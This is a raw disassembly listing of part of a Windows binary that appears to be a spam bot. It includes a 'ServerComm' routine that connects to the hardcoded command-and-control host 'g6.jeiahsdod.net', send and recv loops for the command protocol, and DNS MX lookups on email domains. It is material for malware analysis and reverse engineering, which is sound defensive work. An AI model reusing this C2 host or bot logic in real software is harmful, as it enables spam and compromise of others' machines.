; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B227 proc near ; CODE XREF: sub_40A022+1CEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, eax
sub eax, [ebp+arg_0]
push 2Ch
cdq
pop ecx
idiv ecx
mov ebx, [ebp+arg_4]
imul eax, 2Ch
sub ebx, eax
cmp [ebp+arg_0], edi
jz short loc_40B263
mov eax, [ebp+arg_4]
sub eax, edi
mov [ebp+arg_4], eax
jmp short loc_40B253
; ---------------------------------------------------------------------------
loc_40B250: ; CODE XREF: sub_40B227+3Aj
mov eax, [ebp+arg_4]
loc_40B253: ; CODE XREF: sub_40B227+27j
sub edi, 2Ch
lea esi, [eax+edi]
call sub_4076E5
cmp edi, [ebp+arg_0]
jnz short loc_40B250
loc_40B263: ; CODE XREF: sub_40B227+1Dj
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn
sub_40B227 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B26B proc near ; CODE XREF: sub_40A246+A2p
; sub_40A246+C0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B3C2
add esp, 10h
pop edi
leave
retn 8
sub_40B26B endp
; =============== S U B R O U T I N E =======================================
sub_40B28F proc near ; CODE XREF: sub_40993D+1Ap
mov eax, offset loc_41AF94
call sub_41AE44
push ecx
push ecx
mov eax, [ebp+8]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-14h], eax
loc_40B2AB: ; CODE XREF: sub_40B28F+34j
cmp dword ptr [ebp+0Ch], 0
jbe short loc_40B2E0
push dword ptr [ebp+8]
mov ecx, [ebp+10h]
call sub_40738D
dec dword ptr [ebp+0Ch]
add dword ptr [ebp+8], 38h
jmp short loc_40B2AB
; ---------------------------------------------------------------------------
loc_40B2C5: ; DATA XREF: .vty:004203DCo
mov esi, [ebp-14h]
jmp short loc_40B2D2
; ---------------------------------------------------------------------------
loc_40B2CA: ; CODE XREF: sub_40B28F+46j
call sub_4072AA
add esi, 38h
loc_40B2D2: ; CODE XREF: sub_40B28F+39j
cmp esi, [ebp+8]
jnz short loc_40B2CA
push 0
push 0
call sub_4107BC
loc_40B2E0: ; CODE XREF: sub_40B28F+20j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_40B28F endp
; =============== S U B R O U T I N E =======================================
sub_40B2EF proc near ; CODE XREF: sub_4099EC+1Bp
mov eax, offset loc_41B33E
call sub_41AE44
sub esp, 0Ch
mov eax, [ebp+8]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-14h], eax
loc_40B30C: ; CODE XREF: sub_40B2EF+35j
cmp dword ptr [ebp+0Ch], 0
jbe short loc_40B34F
push dword ptr [ebp+8]
mov edi, [ebp+10h]
call sub_4073B7
dec dword ptr [ebp+0Ch]
add dword ptr [ebp+8], 2Ch
jmp short loc_40B30C
; ---------------------------------------------------------------------------
loc_40B326: ; DATA XREF: .vty:00420D8Co
mov edi, [ebp-14h]
jmp short loc_40B341
; ---------------------------------------------------------------------------
loc_40B32B: ; CODE XREF: sub_40B2EF+55j
lea esi, [edi+1Ch]
call sub_405AAC
push 0
push 1
mov ecx, edi
call sub_4013C4
add edi, 2Ch
loc_40B341: ; CODE XREF: sub_40B2EF+3Aj
cmp edi, [ebp+8]
jnz short loc_40B32B
push 0
push 0
call sub_4107BC
loc_40B34F: ; CODE XREF: sub_40B2EF+21j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_40B2EF endp
; =============== S U B R O U T I N E =======================================
sub_40B35E proc near ; CODE XREF: sub_409A9C+1Ap
mov eax, offset loc_41AF8A
call sub_41AE44
push ecx
push ecx
mov eax, [ebp+8]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-14h], eax
loc_40B37A: ; CODE XREF: sub_40B35E+34j
cmp dword ptr [ebp+0Ch], 0
jbe short loc_40B3B3
push dword ptr [ebp+10h]
mov ecx, [ebp+8]
call sub_407365
dec dword ptr [ebp+0Ch]
add dword ptr [ebp+8], 1Ch
jmp short loc_40B37A
; ---------------------------------------------------------------------------
loc_40B394: ; DATA XREF: .vty:00420384o
mov esi, [ebp-14h]
jmp short loc_40B3A5
; ---------------------------------------------------------------------------
loc_40B399: ; CODE XREF: sub_40B35E+4Cj
push 1
mov ecx, esi
call sub_4013C4
add esi, 1Ch
loc_40B3A5: ; CODE XREF: sub_40B35E+39j
cmp esi, [ebp+8]
push 0
jnz short loc_40B399
push 0
call sub_4107BC
loc_40B3B3: ; CODE XREF: sub_40B35E+20j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_40B35E endp
; =============== S U B R O U T I N E =======================================
sub_40B3C2 proc near ; CODE XREF: sub_40B26B+17p
mov eax, offset loc_41AF80
call sub_41AE44
sub esp, 24h
push ebx
push esi
mov esi, [ebp+0Ch]
push edi
xor ebx, ebx
mov [ebp-10h], esp
mov edi, ecx
push ebx
lea ecx, [ebp-30h]
mov [ebp-14h], esi
mov dword ptr [ebp-18h], 0Fh
call sub_401564
mov [ebp-4], ebx
mov byte ptr [ebp-4], 1
loc_40B3F6: ; CODE XREF: sub_40B3C2+56j
cmp edi, [ebp+8]
jz short loc_40B439
lea eax, [ebp-30h]
push eax
mov ecx, esi
call sub_407365
mov eax, edi
mov ecx, esi
call sub_40B455
add esi, 1Ch
mov [ebp+0Ch], esi
add edi, 1Ch
jmp short loc_40B3F6
; ---------------------------------------------------------------------------
loc_40B41A: ; DATA XREF: .vty:0042032Co
mov esi, [ebp-14h]
jmp short loc_40B42B
; ---------------------------------------------------------------------------
loc_40B41F: ; CODE XREF: sub_40B3C2+6Ej
push 1
mov ecx, esi
call sub_4013C4
add esi, 1Ch
loc_40B42B: ; CODE XREF: sub_40B3C2+5Bj
cmp esi, [ebp+0Ch]
push 0
jnz short loc_40B41F
push 0
call sub_4107BC
loc_40B439: ; CODE XREF: sub_40B3C2+37j
push ebx
push 1
lea ecx, [ebp-30h]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_40B3C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B455 proc near ; CODE XREF: sub_40A246+1C0p
; sub_40B3C2+48p
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea edx, [ecx+4]
mov esi, edx
lea edi, [ebp+var_10]
movsd
movsd
movsd
movsd
lea ebx, [eax+4]
mov edi, edx
mov esi, ebx
movsd
movsd
movsd
movsd
mov edi, ebx
lea esi, [ebp+var_10]
movsd
movsd
movsd
movsd
mov esi, [eax+14h]
mov edx, [ecx+14h]
mov [ecx+14h], esi
mov esi, [eax+18h]
mov [eax+14h], edx
mov edx, [ecx+18h]
pop edi
mov [ecx+18h], esi
pop esi
mov [eax+18h], edx
pop ebx
leave
retn
sub_40B455 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B49B proc near ; DATA XREF: .vty:0041EB5Co
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = byte ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset SEH_40B49B
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov [esp+58h+var_4C], ebx
mov [esp+58h+var_38], ebx
mov [esp+58h+var_34], ebx
mov [esp+58h+var_30], ebx
lea esi, [edi+8]
mov [esp+58h+var_4], ebx
mov [esp+58h+var_48], esi
call sub_406402
cmp dword ptr [eax+18h], 10h
jb short loc_40B4EB
mov eax, [eax+4]
jmp short loc_40B4EE
; ---------------------------------------------------------------------------
loc_40B4EB: ; CODE XREF: sub_40B49B+49j
add eax, 4
loc_40B4EE: ; CODE XREF: sub_40B49B+4Ej
push ebx
lea ecx, [esp+5Ch+var_4C]
push ecx
push ebx
push ebx
push 0Fh
push eax
call sub_40D772 ; DnsQuery_A
test eax, eax
jnz short loc_40B54F
mov esi, [esp+58h+var_4C]
jmp short loc_40B540
; ---------------------------------------------------------------------------
loc_40B508: ; CODE XREF: sub_40B49B+A7j
cmp word ptr [esi+8], 0Fh
jnz short loc_40B53E
push dword ptr [esi+18h]
lea ecx, [esp+5Ch+var_2C]
call sub_401C44
lea eax, [esp+58h+var_2C]
push eax
lea eax, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 1
call sub_409560
push ebx
push 1
lea ecx, [esp+60h+var_2C]
mov byte ptr [esp+60h+var_4], bl
call sub_4013C4
loc_40B53E: ; CODE XREF: sub_40B49B+72j
mov esi, [esi]
loc_40B540: ; CODE XREF: sub_40B49B+6Bj
cmp esi, ebx
jnz short loc_40B508
push 1
push [esp+5Ch+var_4C]
call sub_40D778 ; DnsRecordListFree
loc_40B54F: ; CODE XREF: sub_40B49B+65j
lea eax, [esp+58h+var_3C]
call sub_4057B6
test eax, eax
jz short loc_40B588
mov edi, [edi+4]
lea eax, [esp+58h+var_3C]
push eax
push [esp+5Ch+var_48]
call sub_402AA0
loc_40B56D: ; CODE XREF: sub_40B49B+140j
lea esi, [esp+58h+var_3C]
call sub_405AAC
mov ecx, [esp+58h+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B588: ; CODE XREF: sub_40B49B+BFj
mov esi, [esp+58h+var_48]
call sub_406402
mov esi, eax
mov edi, [esi+20h]
add esi, 1Ch
cmp edi, [esi+8]
jbe short loc_40B5A3
call sub_40DCFC
loc_40B5A3: ; CODE XREF: sub_40B49B+101j
mov dword ptr [esp+58h+var_44], esi
mov [esp+58h+var_40], edi
loc_40B5AB: ; CODE XREF: sub_40B49B+19Dj
mov esi, [esp+58h+var_48]
call sub_406402
mov esi, eax
mov edi, [esi+24h]
add esi, 1Ch
cmp [esi+4], edi
jbe short loc_40B5C6
call sub_40DCFC
loc_40B5C6: ; CODE XREF: sub_40B49B+124j
cmp dword ptr [esp+58h+var_44], ebx
jz short loc_40B5D2
cmp dword ptr [esp+58h+var_44], esi
jz short loc_40B5D7
loc_40B5D2: ; CODE XREF: sub_40B49B+12Fj
call sub_40DCFC
loc_40B5D7: ; CODE XREF: sub_40B49B+135j
cmp [esp+58h+var_40], edi
jz short loc_40B56D
lea esi, [esp+58h+var_44]
call sub_409835
mov byte ptr [eax+59h], 4
call sub_409835
add eax, 1Ch
cmp dword ptr [eax+18h], 10h
jb short loc_40B5FD
mov edi, [eax+4]
jmp short loc_40B600
; ---------------------------------------------------------------------------
loc_40B5FD: ; CODE XREF: sub_40B49B+15Bj
lea edi, [eax+4]
loc_40B600: ; CODE XREF: sub_40B49B+160j
lea esi, [esp+58h+var_44]
call sub_409835
cmp dword ptr [eax+18h], 10h
jb short loc_40B614
mov eax, [eax+4]
jmp short loc_40B617
; ---------------------------------------------------------------------------
loc_40B614: ; CODE XREF: sub_40B49B+172j
add eax, 4
loc_40B617: ; CODE XREF: sub_40B49B+177j
push edi
push eax
push offset aNomxS@S ; "nomx: %s@%s\n"
call sub_4024A7
push eax
push 5
pop ecx
call sub_40195C
add esp, 10h
lea esi, [esp+58h+var_44]
call sub_40556B
jmp loc_40B5AB
sub_40B49B endp
; ---------------------------------------------------------------------------
loc_40B63D: ; CODE XREF: .vty:0041B0B7j
jmp sub_40B9E7
; =============== S U B R O U T I N E =======================================
sub_40B642 proc near ; CODE XREF: sub_405089+65p
mov eax, offset loc_41B4FA
call sub_41AE44
sub esp, 84h
push esi
push edi
mov esi, ecx
call sub_40B9E7
push 0
push 1
push 2
call dword_41C1E4 ; socket
cmp eax, 0FFFFFFFFh
mov [esi+4], eax
jnz short loc_40B69A
push offset aServercommConn ; "ServerComm::connect: cannot create sock"...
lea ecx, [ebp-3Ch]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-3Ch]
push eax
lea ecx, [ebp-58h]
call sub_401C1E
push offset dword_41FF2C
lea eax, [ebp-58h]
loc_40B694: ; CODE XREF: sub_40B642+B4j
; sub_40B642+10Dj
push eax
call sub_4107BC
loc_40B69A: ; CODE XREF: sub_40B642+2Bj
push 61ABh
mov word ptr [ebp-20h], 2
call dword_41C1EC ; ntohs
mov edi, offset aG6_jeiahsdod_n ; "g6.jeiahsdod.net"
push edi
mov [ebp-1Eh], ax
call dword_41C200 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp-1Ch], eax
jnz short loc_40B70E
push edi
call dword_41C218 ; gethostbyname
test eax, eax
jnz short loc_40B6F8
push offset aServercommCo_0 ; "ServerComm::connect: unknown host"
lea ecx, [ebp-58h]
call sub_401C44
lea eax, [ebp-58h]
push eax
lea ecx, [ebp-3Ch]
mov dword ptr [ebp-4], 1
call sub_401C1E
push offset dword_41FF2C
lea eax, [ebp-3Ch]
jmp short loc_40B694
; ---------------------------------------------------------------------------
loc_40B6F8: ; CODE XREF: sub_40B642+8Aj
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp-1Ch]
push eax
call sub_410050
add esp, 0Ch
loc_40B70E: ; CODE XREF: sub_40B642+7Fj
push 10h
lea eax, [ebp-20h]
push eax
push dword ptr [esi+4]
call dword_41C204 ; connect
test eax, eax
jz short loc_40B754
push offset aServercommCo_1 ; "ServerComm::connect: cannot connect"
lea ecx, [ebp-74h]
call sub_401C44
lea eax, [ebp-74h]
push eax
lea ecx, [ebp-90h]
mov dword ptr [ebp-4], 2
call sub_401C1E
push offset dword_41FF2C
lea eax, [ebp-90h]
jmp loc_40B694
; ---------------------------------------------------------------------------
loc_40B754: ; CODE XREF: sub_40B642+DDj
push 0
push 7
push 1
push 0
mov edx, esi
call sub_40BB24
mov ecx, [ebp-0Ch]
add esp, 10h
pop edi
mov large fs:0, ecx
pop esi
leave
retn
sub_40B642 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B774 proc near ; CODE XREF: sub_40376E+172p
; sub_405089+201p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push esi
push 2
pop eax
push 0
push 7
push eax
push 0
push [ebp+arg_0]
lea esi, [ebp+var_C]
mov [ebp+var_C], eax
mov [ebp+var_8], 8
call sub_40BA6E
add esp, 14h
pop esi
leave
retn 4
sub_40B774 endp
; =============== S U B R O U T I N E =======================================
sub_40B7A2 proc near ; CODE XREF: sub_405089+22Ap
mov eax, offset loc_41B4D8
call sub_41AE44
sub esp, 68h
push ebx
xor ebx, ebx
push esi
xor ecx, ecx
push edi
mov [ebp-70h], ebx
mov [ebp-6Ch], ecx
mov [ebp-68h], ebx
mov [ebp-4], ebx
mov eax, [ebp+0Ch]
mov edx, [eax+4]
mov dword ptr [ebp-34h], 4
mov edi, [edx]
mov [ebp-28h], edi
mov [ebp-2Ch], eax
loc_40B7D7: ; CODE XREF: sub_40B7A2+1E9j
cmp [ebp-2Ch], ebx
mov esi, [eax+4]
jz short loc_40B7E4
cmp [ebp-2Ch], eax
jz short loc_40B7EC
loc_40B7E4: ; CODE XREF: sub_40B7A2+3Bj
call sub_40DCFC
mov ecx, [ebp-6Ch]
loc_40B7EC: ; CODE XREF: sub_40B7A2+40j
cmp edi, esi
jz loc_40B990
lea ebx, [ebp-11h]
lea esi, [ebp-74h]
mov byte ptr [ebp-11h], 0FFh
call sub_40C270
mov esi, [ebp-2Ch]
test esi, esi
jnz short loc_40B80F
call sub_40DCFC
loc_40B80F: ; CODE XREF: sub_40B7A2+66j
cmp edi, [esi+4]
jnz short loc_40B819
call sub_40DCFC
loc_40B819: ; CODE XREF: sub_40B7A2+70j
mov al, [edi+1Ch]
lea ebx, [ebp-11h]
lea esi, [ebp-74h]
mov [ebp-11h], al
call sub_40C270
mov esi, [ebp-2Ch]
cmp edi, [esi+4]
jnz short loc_40B837
call sub_40DCFC
loc_40B837: ; CODE XREF: sub_40B7A2+8Ej
cmp edi, [esi+4]
lea ebx, [edi+8]
jnz short loc_40B844
call sub_40DCFC
loc_40B844: ; CODE XREF: sub_40B7A2+9Bj
mov eax, [ebp-6Ch]
cmp [ebp-70h], eax
mov [ebp-18h], eax
jbe short loc_40B854
call sub_40DCFC
loc_40B854: ; CODE XREF: sub_40B7A2+ABj
lea eax, [ebp-4Ch]
mov ecx, ebx
lea esi, [ebp-74h]
call sub_405492
mov ebx, [eax]
mov eax, [eax+4]
mov [ebp-38h], eax
lea eax, [ebp-54h]
lea ecx, [edi+8]
call sub_405472
push dword ptr [ebp-38h]
mov ecx, esi
push ebx
push dword ptr [eax+4]
push dword ptr [eax]
push dword ptr [ebp-18h]
push esi
push dword ptr [ebp+0Ch]
call sub_40C844
mov eax, [ebp-2Ch]
cmp edi, [eax+4]
jnz short loc_40B898
call sub_40DCFC
loc_40B898: ; CODE XREF: sub_40B7A2+EFj
lea esi, [edi+24h]
mov ebx, [esi+4]
cmp ebx, [esi+8]
jbe short loc_40B8A8
call sub_40DCFC
loc_40B8A8: ; CODE XREF: sub_40B7A2+FFj
mov [ebp-24h], esi
mov [ebp-20h], ebx
loc_40B8AE: ; CODE XREF: sub_40B7A2+1D1j
mov eax, [ebp-2Ch]
cmp edi, [eax+4]
jnz short loc_40B8BB
call sub_40DCFC
loc_40B8BB: ; CODE XREF: sub_40B7A2+112j
lea esi, [edi+24h]
mov ebx, [esi+8]
cmp [esi+4], ebx
jbe short loc_40B8CB
call sub_40DCFC
loc_40B8CB: ; CODE XREF: sub_40B7A2+122j
cmp dword ptr [ebp-24h], 0
jz short loc_40B8D6
cmp [ebp-24h], esi
jz short loc_40B8DB
loc_40B8D6: ; CODE XREF: sub_40B7A2+12Dj
call sub_40DCFC
loc_40B8DB: ; CODE XREF: sub_40B7A2+132j
cmp [ebp-20h], ebx
jz loc_40B978
lea esi, [ebp-24h]
call sub_409835
mov ebx, eax
add ebx, 59h
lea esi, [ebp-74h]
call sub_40C270
lea esi, [ebp-24h]
call sub_409835
mov al, [eax+14h]
lea ebx, [ebp-11h]
lea esi, [ebp-74h]
mov [ebp-11h], al
call sub_40C270
lea esi, [ebp-24h]
call sub_409835
mov ebx, eax
call sub_409835
mov [ebp-18h], eax
mov eax, [ebp-6Ch]
cmp [ebp-70h], eax
mov [ebp-1Ch], eax
jbe short loc_40B934
call sub_40DCFC
loc_40B934: ; CODE XREF: sub_40B7A2+18Bj
lea eax, [ebp-5Ch]
mov ecx, ebx
lea esi, [ebp-74h]
call sub_405492
mov ebx, [eax]
mov eax, [eax+4]
mov ecx, [ebp-18h]
mov [ebp-40h], eax
lea eax, [ebp-64h]
call sub_405472
push dword ptr [ebp-40h]
mov ecx, esi
push ebx
push dword ptr [eax+4]
push dword ptr [eax]
push dword ptr [ebp-1Ch]
push esi
push dword ptr [ebp+0Ch]
call sub_40C844
lea esi, [ebp-24h]
call sub_40556B
jmp loc_40B8AE
; ---------------------------------------------------------------------------
loc_40B978: ; CODE XREF: sub_40B7A2+13Cj
lea esi, [ebp-2Ch]
call sub_405D8F
mov ecx, [ebp-6Ch]
mov edi, [ebp-28h]
mov eax, [ebp+0Ch]
xor ebx, ebx
jmp loc_40B7D7
; ---------------------------------------------------------------------------
loc_40B990: ; CODE XREF: sub_40B7A2+4Cj
mov edx, [ebp-70h]
cmp edx, ebx
jnz short loc_40B99B
xor eax, eax
jmp short loc_40B99F
; ---------------------------------------------------------------------------
loc_40B99B: ; CODE XREF: sub_40B7A2+1F3j
mov eax, ecx
sub eax, edx
loc_40B99F: ; CODE XREF: sub_40B7A2+1F7j
add eax, 8
cmp edx, ebx
mov [ebp-30h], eax
jz short loc_40B9AD
sub ecx, edx
jnz short loc_40B9B2
loc_40B9AD: ; CODE XREF: sub_40B7A2+205j
call sub_40DCFC
loc_40B9B2: ; CODE XREF: sub_40B7A2+209j
push ebx
push dword ptr [ebp-70h]
lea esi, [ebp-34h]
push dword ptr [ebp+8]
call sub_40BA6E
add esp, 0Ch
cmp [ebp-70h], ebx
mov esi, eax
jz short loc_40B9D4
push dword ptr [ebp-70h]
call sub_40DD8A
pop ecx
loc_40B9D4: ; CODE XREF: sub_40B7A2+227j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_40B7A2 endp
; =============== S U B R O U T I N E =======================================
sub_40B9E7 proc near ; CODE XREF: sub_40260A+6Ap
; .vty:loc_40B63Dj ...
mov eax, [esi+4]
cmp eax, 0FFFFFFFFh
jnz short loc_40B9F2
xor al, al
retn
; ---------------------------------------------------------------------------
loc_40B9F2: ; CODE XREF: sub_40B9E7+6j
push eax
call dword_41C1E8 ; closesocket
or dword ptr [esi+4], 0FFFFFFFFh
mov al, 1
retn
sub_40B9E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA00 proc near ; CODE XREF: sub_40BB2D+30p
; sub_40BB2D+128p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp [ebp+arg_8], esi
jbe short loc_40BA30
loc_40BA0B: ; CODE XREF: sub_40BA00+2Ej
mov eax, [ebp+arg_8]
sub eax, esi
push 0
push eax
mov eax, [ebp+arg_4]
add eax, esi
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+4]
call dword_41C1E0 ; recv
test eax, eax
jle short loc_40BA32
add esi, eax
cmp esi, [ebp+arg_8]
jb short loc_40BA0B
loc_40BA30: ; CODE XREF: sub_40BA00+9j
mov eax, esi
loc_40BA32: ; CODE XREF: sub_40BA00+27j
pop esi
pop ebp
retn 0Ch
sub_40BA00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA37 proc near ; CODE XREF: sub_40BA6E+16p
; sub_40BA6E+5Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp [ebp+arg_8], esi
jbe short loc_40BA67
loc_40BA42: ; CODE XREF: sub_40BA37+2Ej
mov eax, [ebp+arg_8]
sub eax, esi
push 0
push eax
mov eax, [ebp+arg_4]
add eax, esi
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+4]
call dword_41C1F0 ; send
test eax, eax
jle short loc_40BA69
add esi, eax
cmp esi, [ebp+arg_8]
jb short loc_40BA42
loc_40BA67: ; CODE XREF: sub_40BA37+9j
mov eax, esi
loc_40BA69: ; CODE XREF: sub_40BA37+27j
pop esi
pop ebp
retn 0Ch
sub_40BA37 endp
; =============== S U B R O U T I N E =======================================
sub_40BA6E proc near ; CODE XREF: sub_405089+D1p
; sub_405089+186p ...
mov eax, offset loc_41B4C6
call sub_41AE44
sub esp, 70h
push ebx
push 8
push esi
push dword ptr [ebp+8]
xor ebx, ebx
call sub_40BA37
cmp eax, 8
jz short loc_40BAB8
push offset aServercommDoco ; "ServerComm::doCommand: disconnected whi"...
lea ecx, [ebp-28h]
call sub_401C44
and [ebp-4], ebx
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-44h]
call sub_401C1E
push offset dword_41FF2C
lea eax, [ebp-44h]
loc_40BAB2: ; CODE XREF: sub_40BA6E+93j
push eax
call sub_4107BC
loc_40BAB8: ; CODE XREF: sub_40BA6E+1Ej
cmp [ebp+0Ch], ebx
jz short loc_40BB03
mov eax, [esi+4]
sub eax, 8
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40BA37
mov ecx, [esi+4]
sub ecx, 8
cmp eax, ecx
jz short loc_40BB03
push offset aServercommDo_0 ; "ServerComm::doCommand: disconnected whi"...
lea ecx, [ebp-60h]
call sub_401C44
lea eax, [ebp-60h]
push eax
lea ecx, [ebp-7Ch]
mov dword ptr [ebp-4], 1
call sub_401C1E
push offset dword_41FF2C
lea eax, [ebp-7Ch]
jmp short loc_40BAB2
; ---------------------------------------------------------------------------
loc_40BB03: ; CODE XREF: sub_40BA6E+4Dj
; sub_40BA6E+69j
cmp [ebp+10h], ebx
jz short loc_40BB15
mov edx, [ebp+8]
lea ecx, [ebp+10h]
call sub_40BB2D
mov ebx, eax
loc_40BB15: ; CODE XREF: sub_40BA6E+98j
mov ecx, [ebp-0Ch]
mov eax, ebx
mov large fs:0, ecx
pop ebx
leave
retn
sub_40BA6E endp
; =============== S U B R O U T I N E =======================================
sub_40BB24 proc near ; CODE XREF: sub_40B642+11Cp
arg_4 = byte ptr 8
lea ecx, [esp+arg_4]
jmp $+5
sub_40BB24 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB2D proc near ; CODE XREF: sub_40BA6E+A0p
var_AC = dword ptr -0ACh
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = byte ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
var_64 = byte ptr -64h
var_48 = byte ptr -48h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_41B4AC
push eax
mov large fs:0, esp
sub esp, 90h
push ebx
push esi
push edi
push 8
lea eax, [esp+0ACh+var_9C]
mov esi, edx
push eax
push esi
mov edi, ecx
call sub_40BA00
cmp eax, 8
jz short loc_40BB9A
push offset aServercommGetr ; "ServerComm::getResponse: disconnected w"...
lea ecx, [esp+0ACh+var_80]
call sub_401C44
and [esp+0A8h+var_4], 0
lea eax, [esp+0A8h+var_80]
push eax
lea ecx, [esp+0ACh+var_64]
call sub_401C1E
push offset dword_41FF2C
lea eax, [esp+0ACh+var_64]
loc_40BB94: ; CODE XREF: sub_40BB2D+D5j
; sub_40BB2D+111j ...
push eax
call sub_4107BC
loc_40BB9A: ; CODE XREF: sub_40BB2D+38j
push 4
pop ebx
add edi, ebx
lea ecx, [edi-4]
jmp short loc_40BBAA
; ---------------------------------------------------------------------------
loc_40BBA4: ; CODE XREF: sub_40BB2D+83j
test eax, eax
jz short loc_40BBD2
add ecx, ebx
loc_40BBAA: ; CODE XREF: sub_40BB2D+75j
mov eax, [ecx]
cmp eax, [esp+0A8h+var_9C]
jnz short loc_40BBA4
sub [esp+0A8h+var_98], 8
jnz short loc_40BC04
loc_40BBB9: ; CODE XREF: sub_40BB2D+238j
mov ecx, [esp+0A8h+var_C]
mov eax, [esp+0A8h+var_9C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40BBD2: ; CODE XREF: sub_40BB2D+79j
push offset aServercommGe_0 ; "ServerComm::getResponse: unexpected res"...
lea ecx, [esp+0ACh+var_64]
call sub_401C44
lea eax, [esp+0A8h+var_64]
push eax
lea ecx, [esp+0ACh+var_80]
mov [esp+0ACh+var_4], 1
call sub_401C1E
push offset dword_41FF2C
lea eax, [esp+0ACh+var_80]
jmp short loc_40BB94
; ---------------------------------------------------------------------------
loc_40BC04: ; CODE XREF: sub_40BB2D+8Aj
cmp [esp+0A8h+var_98], 1FFFFFh
jbe short loc_40BC43
push offset aServercommGe_1 ; "ServerComm::getResponse: insane respons"...
lea ecx, [esp+0ACh+var_64]
call sub_401C44
lea eax, [esp+0A8h+var_64]
push eax
lea ecx, [esp+0ACh+var_80]
mov [esp+0ACh+var_4], 2
call sub_401C1E
push offset dword_41FF2C
lea eax, [esp+0ACh+var_80]
jmp loc_40BB94
; ---------------------------------------------------------------------------
loc_40BC43: ; CODE XREF: sub_40BB2D+DFj
push [esp+0A8h+var_98]
call sub_40D802
pop ecx
push [esp+0A8h+var_98]
mov edi, eax
push edi
push esi
call sub_40BA00
mov ecx, [esp+0A8h+var_98]
cmp eax, ecx
jz short loc_40BC9F
push edi
call sub_4103B5
lea ecx, [esp+0ACh+var_64]
mov [esp+0ACh+var_AC], offset aServercommGe_2 ; "ServerComm::getResponse: disconnected w"...
call sub_401C44
lea eax, [esp+0A8h+var_64]
push eax
lea ecx, [esp+0ACh+var_80]
mov [esp+0ACh+var_4], 3
call sub_401C1E
push offset dword_41FF2C
lea eax, [esp+0ACh+var_80]
jmp loc_40BB94
; ---------------------------------------------------------------------------
loc_40BC9F: ; CODE XREF: sub_40BB2D+133j
mov eax, [esp+0A8h+var_9C]
dec eax
cmp eax, 7 ; switch 8 cases
ja loc_40BD6A ; default
jmp off_40BDAD[eax*4] ; switch jump
loc_40BCB4: ; DATA XREF: .vty:off_40BDADo
push dword ptr [edi+4] ; jumptable 0040BCAD case 0
mov ecx, [esi]
push dword ptr [edi]
mov eax, [ecx]
call dword ptr [eax]
jmp loc_40BD5E
; ---------------------------------------------------------------------------
